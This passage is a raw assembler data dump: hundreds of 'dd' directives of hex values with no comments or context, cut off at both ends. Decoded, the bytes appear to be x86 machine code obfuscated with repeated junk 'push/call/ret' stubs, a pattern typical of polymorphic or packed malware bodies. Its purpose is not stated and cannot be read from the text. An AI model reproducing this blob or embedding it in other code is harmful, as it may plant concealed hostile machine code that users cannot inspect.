6A07E3CBh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 1107C357h, 0FFFCD8CDh, 0E0303595h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0B5891E89h, 7E010C5h, 0FFC8D380h, 0E3CBADB5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 4ECE8D66h, 38D0F9Ah, 66000000h, 0EE9DF8Bh, 49000000h dd 58374305h, 35101395h, 0FB609246h, 0B995FFFBh, 0B307E001h dd 31BD8303h, 207E007h, 5E840Fh, 8B0F0000h, 15h, 10E9h dd 44656D00h, 5403DB23h, 42A3677Fh, 0BA2A78DAh, 0F5BF514Ch dd 5F137697h, 2039858Bh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0C9DC18C3h, 0B18D8933h dd 3307E018h, 0E02FDD9Dh, 0C607h, 659D0956h, 5B07E020h dd 43D85C7h, 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0BA3FA0C3h, 0F914460Fh dd 8B362F96h, 0E02FED9Dh, 0F2D5E907h, 8BF8FFFFh, 55006AC1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0BC68A25Ch, 1D3D3CEAh, 89BFC628h, 8D3455FBh, 0E013C985h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0BF0F8D72h, 0DB350F8h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 316CC357h, 6A818739h, 0D9BF0F00h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0DD3C8AC3h dd 29E0845Bh, 0E0264DB5h, 20858D07h, 6607E4A2h, 62D9DF81h dd 6605C083h, 2699D781h, 89F88A50h, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 28F91EC3h dd 0B589E142h, 7E02535h, 2810Fh, 5F560000h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 4375CCC3h, 6AF90FA7h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 43D4AD69h, 6677E274h dd 25D59D8Bh, 95FF07E0h, 7E03441h, 0ABA810BBh, 938D8D1Fh dd 0F07E3A3h, 68Bh, 5B50100h, 0FF07E031h, 0E78166D1h, 0BD8342D3h dd 7E016B1h, 9D850F01h, 66000000h, 26AFA8Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B8C35545h, 0AD82975Ah dd 53A3867Fh, 11E97Fh, 0D54C0000h, 53B9D2D8h, 5304E6ADh dd 0D00F74CEh, 8B4D4E0Bh, 0E00F99BDh, 57529007h, 5F5FDA8Bh dd 9030B350h, 200D9D8Bh, 95FF07E0h, 7E02A99h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A2C35040h, 0B2F8B072h dd 0BD8BEF85h, 7E02A31h, 0CE8h, 2222700h, 0D46F953Ch, 9C45185h dd 820F21h, 5F000000h, 0D62E9h, 0E800h, 815D0000h, 0E4A22AEDh dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 53CAC985h, 6AFC74h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0F781E5C3h, 25256F0Ch dd 817111E3h, 0BA847FF7h, 63858D13h, 8907E394h, 0E018B185h dd 0BB669007h, 8A504F8Fh, 0BF6690F8h, 0FF64A347h, 35h dd 3D9D2900h, 6407E023h, 2589h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 377A5CC3h dd 9B619C89h, 0E9BBAB91h, 10h, 0B1F2947Fh, 4948A1B0h, 6C4F38E6h dd 0F6829602h, 20FD85FFh, 9D0307E0h, 7E01BD5h, 0EF80FF6Ah dd 5DB5FF3Ch, 0E907E008h, 12h, 0DFEA313Fh, 33202BC6h, 4A11FA79h dd 9026A47Dh, 95FF9531h, 7E03389h, 100E9h, 6E900h, 70DC0000h dd 0B8A5B69Bh, 852900B0h, 7E01BF1h, 0E78170E6h, 8886EB7h dd 0F78171E4h, 2375B2C5h, 830F613Ch, 0D5h, 0F9FBB70Fh dd 8BC8B60Fh, 0E0135D9Dh, 6BA07h, 8BFC0000h, 0EE9C1h, 6C9E0000h dd 38961863h, 5BD92F9Fh, 3340FF40h, 2904E8C1h, 0E0238D95h dd 0DB816607h, 0F7661EFEh, 0FCD88BE2h, 0BF66C82Bh, 0D18BFE16h dd 1E95F56h, 0FC000000h, 317D858Bh, 9D8B07E0h, 7E0131Dh dd 0F07C083h, 687h, 58D38100h, 831E83DBh, 0D03B00C0h, 1A830Fh dd 0BF0F0000h, 5BE9DBh, 0DE90000h, 26000000h, 5995BE8Ch dd 0EFD354F7h, 75830B53h, 1E018D8Bh, 9D8B07E0h, 7E02899h dd 0F01E183h, 3484h, 0CE800h, 0C1810000h, 2019DF63h, 91A5D951h dd 8D893F8Dh, 7E01031h, 1A5835Bh, 0FE07E01Eh, 0D9D9BF66h dd 317D9589h, 0BD8907E0h, 7E01B75h, 0E9h, 10B58D00h, 6A07E422h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 0A4DCC351h, 31872927h, 6A9EC2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 48C35646h, 0AAA30FDDh dd 0ADBD8B02h, 0BB07E007h, 370E8E46h, 18A995FFh, 6A07E0h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 9D03F2C3h, 5CB9B72Fh, 0F8000007h, 6AFCE183h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0F920C350h, 0F91BD8Bh, 6AFC07E0h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0F067C351h dd 2B0A26EEh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 97408328h, 1215B68h, 0E030A9B5h dd 8BD22B07h, 0C233ADF8h, 0D003E8D1h, 7504E983h, 52006AF4h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0F657DD60h, 64C426A0h, 0FFB70FB4h, 14A59589h, 880D07E0h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0FD6AC357h, 8BA5B3D6h, 0E0181595h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 9D8B2E36h, 7E00209h, 20E5BD8Bh, 8D8B07E0h dd 7E02049h, 28819D09h, 8B5007E0h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0ACC35040h, 0AAFF8A4Ah, 7E5D08C6h, 0C8F0Fh dd 870F0000h, 6, 23E59529h, 9D8907E0h, 7E00F45h, 836AEF80h dd 0E012F5BDh, 840F0007h, 41h, 8E9h, 88982300h, 1066BF1Eh dd 0FD9D890Eh, 0B807E01Fh, 0 dd 1525B9BBh, 8D8DFC24h, 7E04EE8h, 0F4F838BBh, 69BD8B69h dd 0FF07E02Fh, 0F1B529E1h, 0F07E00Dh, 481h, 0A9BF6600h dd 0C5BD83EBh, 7E022h, 44C840Fh, 83F50000h, 0E022C5BDh dd 840F0107h, 459h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 48C35646h, 5C51CD80h, 27CC0C06h, 22C5BD83h dd 0F0307E0h, 3F286h, 918D8900h, 6007E000h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0FEC35747h, 0DE99A394h dd 66FE8B66h, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0FEC60C3h, 0E8A7ECD8h, 0Ah, 5263DE41h dd 28448C54h, 8166A3E7h, 5F6A35F3h, 0E804E180h, 0Dh, 8BDF051Dh dd 0BEF5BE6Ch, 9C4B37DCh, 13E8ABh, 9A620000h, 0F8638C01h dd 0F782716Fh, 70A5FED7h, 355E596Ah, 346CBF24h, 5F5B5645h dd 840FC90Ah, 104h, 99858BF8h, 6A07E033h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0B450C351h dd 0A577B7D1h, 8166BCAFh, 334B55DFh, 0E0318985h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 3F7E6F5Fh, 9D8956C8h, 7E00641h, 0FA8B6650h, 0F240489h dd 58Bh, 0F3816600h, 6ABB6Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0D9C35545h, 9DD7ECE8h, 6880F60h dd 89000000h, 0E02AA19Dh, 0F1B70F07h, 0B0A96861h, 860FB845h dd 4, 5F616056h, 56240481h, 6A47D953h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0B0ABC355h dd 7E075EDBh, 95BD8B87h, 0FF07E033h, 0E021CD95h, 0FFB70F07h dd 0CBAD8589h, 8D8907E3h, 7E01BF9h, 46F38166h, 1D7E92Eh dd 95290000h, 7E03031h, 0CBA5858Bh, 9D8907E3h, 7E01A61h dd 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 8B0F2EC3h, 0Eh, 0A19D8960h, 8907E005h dd 0E012099Dh, 0B58B6107h, 7E3CBA9h, 858BDC8Ah, 7E005F9h dd 689FE8Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 6EC35646h, 0FE823h, 0C7A30000h, 565A01A0h, 2EF7E3A3h dd 0DA3AAEF5h, 7D9589C0h, 5F07E015h, 9D016060h, 7E03469h dd 1A49958Bh, 36107E0h, 0E022ED8Dh, 858B6107h, 7E03399h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 89C35343h dd 35850079h, 8952A899h, 0E004699Dh, 46895F07h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 317D19F2h, 52F0BF58h, 3335BD8Bh, 965F07E0h, 2D6FBB66h dd 0DF8B6650h, 0FE996h, 97AD0000h, 2DB35EAFh, 0E1931E14h dd 692D6632h, 0A5B5FFC5h, 6A07E3CBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6ED7C352h dd 7B7E93ADh, 0CAF2AFBBh, 5E8h, 0CEE1D700h, 8D897A3Ah dd 7E001DDh, 0B287685Fh, 0FA8B6413h, 78243481h, 6A640CB1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 2683C352h, 321C6575h, 0F90EFC53h, 2C959D8Bh dd 858D07E0h, 7E3CBADh, 0BFCF8166h, 8B5650B1h, 4895FD8h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0D65A81FEh, 12899D8Bh, 95FF07E0h, 7E021CDh dd 0DF8B61F8h, 22C585C7h, 307E0h, 83F90000h, 0E3CBADBDh dd 840F0007h, 63h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 4FC35141h, 0E8511C08h, 0Ch, 78BC7679h dd 16FB0D2Ch, 7441CB3Bh, 0E95B5BF5h, 46h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C2C35545h, 41841A64h dd 0BA479BFFh, 1DB589C7h, 5007E02Eh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 9D8BC08Bh, 7E00E01h, 2CAD9D89h dd 0BD8307E0h, 7E022C5h, 4A850F03h, 6A000004h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 8FF1C350h, 0FCB48D44h, 0D9858999h, 8307E022h, 0E3CBADBDh dd 840F0007h, 415h, 239DBD2Bh, 0BD8907E0h, 7E018B9h, 0CBADB5FFh dd 8D8907E3h, 7E000B1h, 1DA995FFh, 9D0B07E0h, 7E01DB9h dd 0CBA1B58Bh, 6A07E3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 486A09C3h, 78E4B648h, 66A5AF84h dd 125ACF81h, 106C7h, 60600001h, 339D9D23h, 8D8907E0h dd 7E00739h, 28F0F61h, 8B000000h, 0B35061D7h, 24348970h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 78C35242h dd 2D63EF23h, 0ADB5FF04h, 6A07E3CBh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 700CC356h dd 0F16911EBh, 0DAB70F26h, 2D259D8Bh, 95FF07E0h, 7E03011h dd 16819589h, 0B58B07E0h, 7E3CBA1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0B0C35343h, 9AEA8A67h, 2DB6B379h dd 9E9F9h, 0A880000h, 0EE31FBE6h, 817BA155h, 0AEFD1EFh dd 0D1858B5Eh, 6607E022h, 0C667EF81h, 8689D88Bh, 0C4h dd 11E8h, 91AC1B00h, 0BBEEBFD6h, 1C7007D0h, 887B356Fh dd 9D23778Bh, 7E0062Dh, 15958B5Bh, 8107E018h, 308B48CBh dd 4C2836Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0B6C35343h, 0B72C9A4Fh, 0AB7D7B68h, 20508907h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0AC35141h dd 31CEE6B7h, 0D4858D4Bh, 8907E3E0h, 0B886h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0A9EB6847h, 9D8B006Ah, 7E00445h, 0CBADB5FFh, 6A07E3h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0ABABE1C3h, 9A51E3E5h, 1BEDBD8Bh, 852907E0h, 7E01921h dd 2A9995FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0E8FED0C3h, 0A02996DBh, 26D19D23h dd 805107E0h, 965FFDF7h, 22D6BF53h, 505F7A0Fh, 2CBB5250h dd 0F4373CEh, 13E931h, 3DEC0000h, 35A07B4Dh, 0BCB8BBD6h dd 9C3FB2DAh, 97F28A5Fh, 96585AEAh, 0A2ED8060h, 3361F08Bh dd 0E031A1BDh, 0ADB5FF07h, 6A07E3CBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0B989C352h dd 7BFC4E98h, 0EF816651h, 0BD8BFBD2h, 7E02F91h, 95FF13B7h dd 7E028E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 3CC35141h, 0BD837C2Fh, 7E028E1h, 38840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 655C357h, 19659D8Bh dd 9D8B07E0h, 7E0078Dh, 6DD7BB50h, 34895ADDh, 99BD3324h dd 0FF07E01Ah, 0E3CBADB5h, 0BD9D8B07h, 0FF07E030h, 0E0303595h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 22024028h, 9ED78166h, 0ADB5FFB8h, 6A07E3CBh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 3CADC357h, 4A55610Eh, 2161BD8Bh, 95FF07E0h dd 7E001B9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0E7C35040h, 0CE4B396Dh, 9529887Ch, 7E02FA5h, 731BD83h dd 0F0207E0h, 5884h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0AE9B6h, 0DADD0000h, 0CFB8B469h dd 286AC9Ah, 2039858Bh, 6A07E0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 1A48BCC3h, 1D29BD33h dd 0C607E0h, 3D85C700h, 7E004h, 81000000h, 38015EFh, 0F3AAE93Fh dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 7CB41C3h, 0EE8E285h, 35000000h, 1D61C655h dd 5EDC9724h, 457ED5C2h, 0DF81665Ah, 8B5B52A2h, 0A1BD8BC1h dd 8D07E004h, 0E013C985h, 5250FC07h, 0E232BB66h, 2404895Bh dd 2301B529h, 6A07E0h, 66CFEF80h, 6ADE8Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 22C35141h, 0A3858DFCh dd 6A07E4B1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0E13EC353h, 0D2949F77h, 0AE8FC7Dh dd 32000000h, 4BFA1BD2h, 9AFB91h, 8529601Ch, 7E0203Dh dd 0C0835B61h, 0D9D8B05h, 9007E019h, 6650B1B3h, 6A90F98Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 90BCC357h, 40E38177h, 8B00B62Ch, 0E02A55BDh dd 6A006A07h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 8873C353h, 0A94DAB93h, 897CDBDEh dd 0E02FF9B5h, 8C0F07h, 6A000000h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0C918BC96h dd 89EB9D67h, 0E01FD585h, 95FFF907h, 7E03441h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 41C35040h, 8D2957F9h dd 7E0129Dh, 69B5295Fh, 8D07E02Fh, 0E3A3938Dh, 0CF805107h dd 0B70F5B07h, 6AD1FFF9h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0C471C356h, 35EAE7A9h dd 9CCB8166h, 9E10BFE9h, 0BD831265h, 7E016B1h, 8C850F01h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 6A3EC353h, 55006A02h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0F5786B87h dd 0A53E5D48h, 0F88A75B0h, 83BF6650h, 240489ABh, 6820Fh dd 9D890000h, 7E03245h, 2A9995FFh, 6A07E0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CFC336C3h dd 650019FFh, 0E58589h, 816607E0h, 0E952ADF3h, 0D94h, 0E8h dd 0ED815D00h, 7E4B1ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 58C35545h, 0C604EB55h, 0F864532h, 6AFBB7h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 2A486CC3h, 477243AAh, 0E82721ABh, 14h, 0A50DFE6Fh, 0AD6D734Dh dd 8BA8D650h, 80596457h, 0BFDD38F4h, 8D5FD98Bh, 0E3946385h dd 0B9BD3307h, 6607E020h, 500F67BBh, 9E9h, 0A2606300h dd 76F0DF04h, 4891EB5h, 4D8D8924h, 6407E02Eh, 35FFh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 7E3D0FC3h, 333D02FDh, 12E964h, 0E9E40000h, 97FD85F8h dd 65AB2B3Fh, 8EDF2232h, 0ACABA4B0h, 258964F5h, 0 dd 13BD9589h, 85FF07E0h, 7E020FDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 34C35747h, 14E8E6D0h, 9000000h dd 86277B3Ah, 45477C9Bh, 0ACADB1D9h, 0F0ACCC43h, 5B72C27Dh dd 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 9FA793C3h, 0C380B484h, 91BD3315h, 0FF07E01Bh dd 0E004A9B5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 8995FF3Fh, 0E907E033h dd 126h, 26A9BD23h, 0BD2907E0h, 7E004EDh, 8D0F00B0h, 0Ch dd 68D0Fh, 9D8B0000h, 7E023F1h, 0BF6670E6h, 71E46868h dd 830F613Ch, 0F6h, 41BD23h, 0B60F07E0h, 10E9C8h, 47A70000h dd 1D651C46h, 5A168880h, 8E87E0C5h, 6BA7868h, 89000000h dd 0E016118Dh, 29C18B07h, 0E0137195h, 4E8C107h, 2F32D381h dd 0F76611F9h, 6820FE2h, 29000000h, 0E017BDB5h, 89C82B07h dd 0E016CD95h, 8BD18B07h, 0E002019Dh, 1AE907h, 11E80000h dd 32000000h, 0EC8B5FA3h, 0B6814288h, 0F483733h, 91155164h dd 5B5CD380h, 2601858Bh, 0BB6607E0h, 0C0838A66h, 43CB8107h dd 831E29A1h, 0BD8900C0h, 7E03415h, 0D03BD88Bh, 0C830Fh dd 0E9F80000h, 52h, 33AD9D89h, 8D8B07E0h, 7E020E9h, 118E0Fh dd 8E0F0000h, 0Bh, 5E8h, 70CA5400h, 835F6319h, 840F01E1h dd 26h, 2F318589h, 36BF07E0h, 837912B8h, 0E020E9A5h, 9D29FE07h dd 7E02CA9h, 26019589h, 0D38007E0h, 0E9ECh, 0B58D0000h dd 7E42B51h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 77C35545h, 708F781h, 0CE83B46h, 82000000h, 715B589Dh dd 7012DFD6h, 6689A6B1h, 5BD4A2BFh, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D4CC4BC3h dd 9805FCE0h, 8903DCCAh, 0E0011D85h, 0A995FF07h, 6A07E018h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 2B78C352h, 46F64562h, 8FE7F49Dh, 11E8DE8Ah dd 0A5000000h, 0DE245E66h, 8D7F128h, 0FDB109B4h, 30B62CEBh dd 28EDBD8Bh, 0B95B07E0h, 816h, 2AE5BD8Bh, 0DF8B07E0h dd 0E9FCE183h, 0Fh, 0BF8502F5h, 6642F787h, 0F9DDFAFDh dd 8130F22Dh, 0F21232DBh, 6AFC6Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0B8ECC3C3h, 0 dd 2E859D8Bh, 0D22B07E0h, 258D9D8Bh, 33AD07E0h, 3E8D1C2h dd 4E983D0h, 9D89F475h, 7E01195h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 36C35343h, 1F339E96h, 0D99D3363h dd 0D07E004h, 88h, 6880Fh, 0B5010000h, 7E001C9h, 10E9h dd 0CAFA3800h, 518E6E26h, 1D708E9Fh, 8A34743Dh, 15958B39h dd 6A07E018h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 0CCCBC356h, 3D958954h, 8B07E020h dd 0E020498Dh, 0F5BF6607h, 0C28B5071h, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 0E958188Bh, 9, 98FECE0h, 3717FC8Ah, 0E9BD8B9Ch dd 8307E033h, 0E012F5BDh, 840F0007h, 5Eh, 0B8F8h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 79EC8AC3h, 0DD3B30CDh, 58EF80B0h, 4EE88D8Dh, 0B58907E0h dd 7E00565h, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 2D5A2EC3h, 2B00E381h, 0BD837AF5h dd 7E022C5h, 23840F00h, 60000004h, 33AD9D01h, 0F6007E0h dd 8Fh, 0D2816600h, 616118DCh, 22C5BD83h, 0F0107E0h, 41C84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 0E2D55EF9h, 0C381660Eh, 0BD83592Ch, 7E022C5h dd 0B4860F03h, 89000003h, 0E01CA585h, 9D236007h, 7E01A21h dd 8BD98C66h, 5FDB80D9h, 6A04E180h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 9208C353h dd 5820Fh, 81660000h, 0AC74AF3h, 41840FC9h, 23000001h dd 0E00095BDh, 99858B07h, 6A07E033h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 31D9C352h dd 10A357Ch, 7E8h, 0C8EF2200h, 51B75B66h, 2F55BD8Bh, 95B07E0h dd 0E01DC99Dh, 89853307h, 6A07E031h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 6457C356h dd 16FD9589h, 0CB8007E0h, 0BB6690A7h, 505092E8h, 0FDD8A52h dd 0B3BB5031h, 5B122631h, 6A90585Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0C853C353h dd 6A0E816Ah, 0DA8B6600h, 48169868h, 0EE83Eh, 66AE0000h dd 0BF0C2751h, 37CE5484h, 41430F7Dh, 68A0Fh, 52500000h dd 585A310Fh, 2434815Fh, 3E571567h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0A0C35141h, 2439B531h, 0FFF507E0h dd 0E021CD95h, 89F98B07h, 0E3CBAD85h, 0FDB58907h, 0E907E025h dd 208h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 80C35646h, 12C2CE9h, 5E91F2Eh, 0D000000h, 0CF386657h dd 0CBA5858Bh, 0BD2907E3h, 7E02371h, 1800C7h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0CF6DBC3h, 8B66F35Ch, 0A9B58BFEh, 0E807E3CBh, 8, 4FCA3D83h dd 9438156Eh, 5E53F560h, 858B5B61h, 7E005F9h, 2881B531h dd 68907E0h, 111BD89h, 0BD2307E0h, 7E02621h, 3399858Bh dd 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 24FAAAC3h, 857086BAh, 4468925h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5FC35141h, 0A6CE15ACh dd 9D8B4DD8h, 7E00639h, 8B666096h, 53B966CAh, 565061B0h dd 0DF3FBA60h, 0A2B87257h, 61320AF1h, 9529965Bh, 7E023A5h dd 0CBA5B5FFh, 4E807E3h, 0FF000000h, 0E9001F03h, 0Bh, 34D50029h dd 9752ECF5h, 5075034Ah, 448BFB8Bh, 8E90424h, 4D000000h dd 24CC3B11h, 8B771464h, 897AB700h, 0E9042444h, 0Ch, 66A7F4DDh dd 1ECD27C8h, 928AFFAAh, 51006A58h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 9D8B3EF1h, 7E02FF9h, 0CBAD858Dh dd 9D8B07E3h, 7E02E4Dh, 8E86090h, 7000000h, 0A7CDA63Dh dd 8B5250A9h, 0CE85AF0h, 32000000h, 4BB8C09Ch, 2BBAA35Fh dd 0F9F5524h, 8Eh, 50615E00h, 52505250h, 310F5F52h, 0EE9h dd 4C7A6B00h, 7B1FBB8Bh, 922FB26Ah, 5A40B8EFh, 0B3310F58h dd 90585AB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0F9C35141h, 263002CEh, 8589FA8Bh, 7E0088Dh, 21CD95FFh dd 0C38107E0h, 2096599Fh, 0C585C761h, 307E022h, 81000000h dd 0B8A05FDBh, 0ADBD8308h, 7E3CBh, 31840Fh, 0EF800000h dd 44E951h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 3042D1C3h, 870FE1E6h, 0E0CF8107h dd 50075111h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0C3201BC3h, 5860Fh, 81660000h, 6640A2EBh dd 42CFF781h, 22C5BD83h, 0F0307E0h, 3B685h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 5626025Ch, 4C13B1E7h, 6E9h, 0C27CA800h, 8348C73Bh, 0E3CBADBDh dd 840F0007h, 37Bh, 9599D781h, 0B5FF289Ch, 7E3CBADh, 10B59D0Bh dd 95FF07E0h, 7E01DA9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 0DEC35040h, 0E9AB4FCDh, 25A4AA95h, 0A1B58B8Ch dd 8B07E3CBh, 0E017B59Dh, 19BD8B07h, 0C707E029h, 1000106h dd 859D8B00h, 0F807E001h, 0FB8B5096h, 5E896h, 0CFEC0000h dd 66A07D2Eh, 5B67CBBFh, 26B1BD89h, 0B5FF07E0h, 7E3CBADh dd 11E8h, 2F588100h, 18422978h, 0C11BCF9Fh, 0DC72675h 